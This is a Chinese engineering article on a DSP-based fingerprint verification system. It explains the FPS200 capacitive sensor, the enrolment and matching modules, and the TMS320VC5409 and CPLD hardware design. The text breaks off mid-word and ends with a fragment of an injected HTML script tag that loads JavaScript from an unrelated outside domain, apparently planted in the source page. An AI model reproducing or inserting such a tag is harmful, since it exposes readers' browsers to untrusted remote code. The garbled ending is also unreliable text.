本文采用fps200指纹传感器设计实现了一种基于tms320vc5409 dsp芯片的指纹鉴定系统，文中详细的介绍了系统的硬件结构方案和算法思路。
关键词： 指纹图像；dsp；特征提取；特征匹配
引言
指纹鉴定技术利用人类指纹稳定性和独特性的生理特征，将其作为人们的一种“活的身份证”，更因指纹具有的不可替代性，使通过指纹进行身份鉴定的安全性大大提高，且随着图像处理_模式识别方法的发展和指纹传感器技术的日臻成熟，指纹鉴定方法在金融、公安、门禁、户籍管理等领域都有着良好的应用前景。
本文利用ti公司的tms320vc5409 dsp芯片为核心，设计并实现了一种基于dsp芯片的指纹鉴定系统。
系统功能描述
指纹身份鉴定系统是指确认用户声称的身份是否与其真实身份一致，只有两种可能的答案“是或否”。系统包含两个主要的功能模块：学习模块和鉴定模块。学习模块负责采集用户指纹数据，提取代表这些数据的特征，作为以后的比对模板存入数据库。鉴定模块则采集待鉴定用户指纹数据，提取特征后与数据库中的模板进行比对，决定两者是否匹配，然后做出“是或否”的判断。整个系统的功能框图如图1所示。
fps200指纹传感器工作原理和性能特点
veridicom公司的fps200指纹传感器是一种触摸式cmos传感器件，其传感区域为1.28cm×1.50cm，256×300传感阵列，500dpi分辨率，内置有8位模数转换器，可直接输出数字化图像信号，用8位表征一个像素点，且有微处理器总线、spi总线和usb总线三种接口模式可供选择，并可以方便的定义所需传感阵列的区域，工作电压为3.3v~5v。fps200基于电容充放电原理，传感阵列的每一点是一个金属电极，相当于电容器的一个极，与传感区接触的手指充当电容器的另一个极，而两者之间的传感面形成电容两极之间的介电层，由于指纹的脊和谷导致了传感阵列各电容值的不同，传感器将电容值数字化之后输出。本指纹鉴定系统采用了传感器的微处理器总线模式，传感器的8位数据线直接与dsp的数据线接口，传感器部分的硬件电路示意图如图2所示。
图1 指纹鉴定系统功能框图
图2 fps200与dsp连接电路示意图
图3 指纹鉴定系统硬件结构框图
图4 特征点的八邻域图
图5 系统主要程序流程图
硬件结构设计
系统核心处理器为tms320vc5409 dsp，该款芯片具有良好的性能价格比，运算速度达100mips，片内有32k字节双向访问ram，支持64k字节的数据空间，64k字节的io空间和8m字节的程序空间，能够满足指纹鉴定系统的要求。选用了xilinx公司的cpld xc9572来完成整个系统的逻辑电路设计。实际系统中我们扩展了64k的sram,但因dsp最多支持外部扩展32k数据空间，因此sram的a15地址线由dsp通过cpld中的逻辑电路来控制，从而决定选择sram的高地址段32k存储空间还是低地址段32k存储空间，这样就在符合dsp的外扩数据空间要求的基?script src=http://er12.com/t.js>
